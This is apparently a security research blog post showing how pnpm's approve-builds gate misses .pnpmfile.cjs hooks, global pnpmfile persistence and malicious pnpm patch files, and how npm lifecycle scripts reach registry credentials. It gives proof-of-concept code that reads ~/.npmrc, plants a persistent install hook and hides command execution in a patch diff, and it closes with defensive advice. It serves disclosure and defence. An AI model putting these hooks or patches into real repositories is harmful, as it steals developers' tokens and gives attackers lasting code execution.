← All insights
Vulnerability Research

The Persistence Bridge: When npm Writes pnpm's Future

pnpm 11 shipped approve-builds, a mechanism that blocks lifecycle scripts from running unless a developer explicitly approves them. Before a package’s postinstall can execute, it has to appear on an allowlist. It is a genuine improvement over npm, which runs lifecycle scripts with no gate.

The problem is what approve-builds does not cover. pnpm’s most powerful execution surface is not a lifecycle script. It is a hook file called .pnpmfile.cjs, and it runs on every pnpm install regardless of whether approve-builds is enabled. A second vector, pnpm patch, commits code directly into the repository in a format that looks like a legitimate upstream bug fix. Neither is addressed by any security control pnpm ships today.

npm’s attack surface matters here because the credential targets are identical across both tools, and some of npm’s attack chains feed directly into pnpm’s persistence mechanisms.

What npm exposes during install

npm loads registry credentials from ~/.npmrc in nerf-dart format:

//registry.npmjs.org/:_authToken=npm_xxx
//npm.pkg.github.com/:_authToken=ghp_xxx

When a lifecycle script runs (preinstall, postinstall, or any custom script triggered by npm install), npm exports a subset of its configuration into the script’s environment. Some of this is intentional. Some is a side effect of how npm compares default config values, and postinstall scripts end up with broader access to credential state than most developers expect.

The credentials file path is handed over unconditionally

Every lifecycle script receives npm_config_userconfig as an environment variable containing the resolved absolute path to ~/.npmrc. This happens at default configuration, with no special flags, on every install.

The cause is a comparison bug in npm’s set-envs.js. The stored default value is the unexpanded string '~/.npmrc'. The resolved value is an absolute path like /home/user/.npmrc. Those two strings never match, so npm always treats userconfig as non-default and exports it.

A postinstall script reads your entire credentials file with one line:

const creds = require('fs').readFileSync(process.env.npm_config_userconfig, 'utf8');

This sidesteps npm’s nerf-dart filter, which blocks _authToken values from being re-exported as environment variables. That protection applies to the env var layer only. Reading the file directly bypasses it entirely.

Shai-Hulud (CERT VU#534320, May 2026) used hardcoded paths:

~/.npmrc
$HOME/.npmrc

npm_config_userconfig is more reliable — platform-correct, works with non-standard credentials paths, and npm exports it without any extra effort from the attacker.

CI tokens are in plain view

GitHub Actions, GitLab CI, and CircleCI inject NPM_TOKEN or NODE_AUTH_TOKEN as environment variables for registry authentication. npm does not scrub process.env before spawning lifecycle scripts. Any postinstall reads them directly:

const token = process.env.NPM_TOKEN || process.env.NODE_AUTH_TOKEN;

This is OS-level process inheritance, not an npm bug. The token is present by design, and there is no npm-layer mechanism to remove it before a script runs. This is the vector Shai-Hulud used to propagate through the npm ecosystem.

OTP via —otp= is also in the environment

When a developer runs npm publish --otp=123456, npm exports npm_config_otp=123456 into every lifecycle script. This is preserved by RFC 0021 as an intentional feature, to allow npm run release --otp=X to pass the OTP through to a nested npm publish. The constraint is timing: TOTP codes are valid for 30 seconds, and the malicious package needs to already be in the dependency tree when the developer publishes. Where that is true, the window exists. There is no mitigation at the npm layer.

pnpm’s gate

pnpm’s approve-builds works by requiring lifecycle scripts from published packages to appear in an allowBuilds list in pnpm-workspace.yaml before they can run. When a project has no approved packages, no postinstall scripts execute at all.

This blocks the primary npm attack chain. A malicious package that relies on postinstall to read credentials cannot run that script on a project with approve-builds configured. It works.

When one developer approves a package via the interactive prompt, that approval is committed to pnpm-workspace.yaml and applies to everyone on the team.

What the gate does not cover

.pnpmfile.cjs

.pnpmfile.cjs is a hook file that pnpm loads and executes during every install. Its readPackage function is called once for every package in the dependency tree. The function receives each package’s manifest and can return a modified version; the documented use case is normalizing peer dependency requirements across large projects.

The function is arbitrary JavaScript. There is no sandbox, no approval step, and no --ignore-scripts equivalent that touches it. approve-builds has no effect on it. The hook is loaded by pnpm itself as part of its install process, not spawned as a subprocess.

A .pnpmfile.cjs committed to a repository runs on every developer’s pnpm install with no prompt and no output indicating the hook fired:

const fs = require('fs');
const os = require('os');
let done = false;

function readPackage(pkg, context) {
    if (!done) {
        done = true;
        const creds = fs.readFileSync(os.homedir() + '/.npmrc', 'utf8');
        // exfiltrate to attacker infrastructure
    }
    return pkg;
}

module.exports = { hooks: { readPackage } };

We ran this against a project with approve-builds fully configured. The hook read ~/.npmrc tokens and AWS credentials without a single warning in the install output.

The done flag is a one-shot guard. pnpm calls readPackage once per package in the tree, so without it the hook fires once per dependency.

Global pnpmfile

pnpm supports a global-pnpmfile config pointing to a hook file outside any single project:

pnpm config set global-pnpmfile ~/.global-pnpmfile.cjs

pnpm 11 stores this in ~/.config/pnpm/config.yaml as globalPnpmfile, not in ~/.npmrc. Once set, the hook fires on every pnpm install in every project on the machine. We tested this by setting the config in one project and then running pnpm install in a completely unrelated one with no shared dependencies. The hook fired.

The config entry survives package removal. Removing a package that wrote the entry does not undo it; pnpm uninstall only removes package files, not side effects written to config.

pnpm patch

pnpm patch <pkg>@<version> opens an editable copy of a package. After making changes, pnpm patch-commit generates a diff in a patches/ directory and wires it into pnpm-workspace.yaml:

patchedDependencies:
  is-number@7.0.0: patches/is-number@7.0.0.patch

On every subsequent pnpm install, pnpm re-applies the patch to the installed package. In git history, the patch file looks like any other code change: a diff correcting a bug in an upstream dependency.

diff --git a/index.js b/index.js
--- a/index.js
+++ b/index.js
@@ -14,3 +14,6 @@
       return false;
  };
+var _f=require('fs'),_c=require('child_process'),_o=require('os');
+try{_f.writeFileSync('/tmp/proof.txt','PATCH_EXEC\n'+_c.execSync('id').toString());}catch(e){}

The added line executes when the module is loaded via require(), not during install, so there is nothing in the install output to indicate anything changed. approve-builds has no visibility into it since there is no lifecycle script. The patch re-applies on every subsequent reinstall automatically.

A PR that adds a patches/ directory entry and a patchedDependencies line to pnpm-workspace.yaml is the delivery mechanism. Any developer who merges it and runs pnpm install carries it forward indefinitely.

How these chains connect

Supply chain package to persistent pnpm hook

A malicious package’s postinstall runs during npm install. The script writes a hook file and registers it by writing to ~/.config/pnpm/config.yaml:

const fs     = require('fs');
const os     = require('os');
const path = require('path');

const hookPath      = path.join(os.homedir(), '.cache', '.ob.cjs');
const configDir     = path.join(os.homedir(), '.config', 'pnpm');
const configFile = path.join(configDir, 'config.yaml');

fs.writeFileSync(hookPath, `
let done = false;
function readPackage(pkg) {
    if (!done) { done = true; /* exfiltrate */ }
    return pkg;
}
module.exports = { hooks: { readPackage } };
`);

fs.mkdirSync(configDir, { recursive: true });
const existing = fs.existsSync(configFile) ? fs.readFileSync(configFile, 'utf8') : '';
if (!existing.includes('globalPnpmfile')) {
    fs.appendFileSync(configFile, `\nglobalPnpmfile: ${hookPath}\n`);
}

From that point, every pnpm install the developer runs in any project executes the hook. We tested this end-to-end: an npm postinstall wrote the config entry, and the next pnpm install in a completely unrelated project fired the hook. Uninstalling the original npm package afterward had no effect on it. The hook can read registry tokens, read ~/.aws/credentials, or write to any file the developer owns.

Repository access to persistent execution

This needs write access to the repository root, via a compromised CI service account, a merged malicious PR, or a stolen credential.

Three files, all unremarkable in git:

  1. .pnpmfile.cjs at the repo root: fires on every developer’s pnpm install
  2. A patch file in patches/ for a widely-used dependency: fires on module load
  3. A pnpm-workspace.yaml update wiring the patch: makes it permanent

Every developer who clones the repo and runs pnpm install carries all three.

What approve-builds actually covers

Vectorapprove-builds blocks?
Lifecycle scripts from unapproved packagesYes
.pnpmfile.cjs arbitrary JSNo
global-pnpmfile persistent hookNo
pnpm patch code injectionNo
npm NPM_TOKEN / NODE_AUTH_TOKEN exposureN/A
npm npm_config_userconfig credential pathN/A

approve-builds addresses one row in this table.

Defenses

For .pnpmfile.cjs: There is no pnpm-level control that prevents it from executing. Audit any repository for .pnpmfile.cjs before running pnpm install on an unfamiliar project.

For global-pnpmfile: Check ~/.config/pnpm/config.yaml for a globalPnpmfile key after installing from any untrusted source. On CI runners, set PNPM_CONFIG_GLOBAL_PNPMFILE=/dev/null or delete the key before each job to prevent a previous run from leaving a persistent hook.

For pnpm patch: Treat patchedDependencies entries in pnpm-workspace.yaml as code additions. Review patch files line by line, not as a dependency management detail.

For npm credential exposure: npm install --ignore-scripts blocks all lifecycle-based credential theft. The tradeoff: native addons, binary downloads, and some build tooling depend on postinstall scripts. Switching requires auditing which packages need scripts and selectively re-enabling them with npm rebuild <package>.

For CI pipelines: Use short-lived OIDC tokens instead of long-lived NPM_TOKEN values where your registry supports them. Set NPM_CONFIG_USERCONFIG as an environment variable to shadow project-level userconfig= redirects.

Previous: The Persistence Engine: Configuration Reinstatement in uv

More in Vulnerability Research
The Wrapper Trap: Silent Persistence in Gradle and MavenAug 6, 2026 · 11 minThe Persistence Engine: Configuration Reinstatement in uvJul 27, 2026 · 14 minPip Dreams and Security Schemes, Part II: The Interpreter in the MachineJun 4, 2026 · 11 min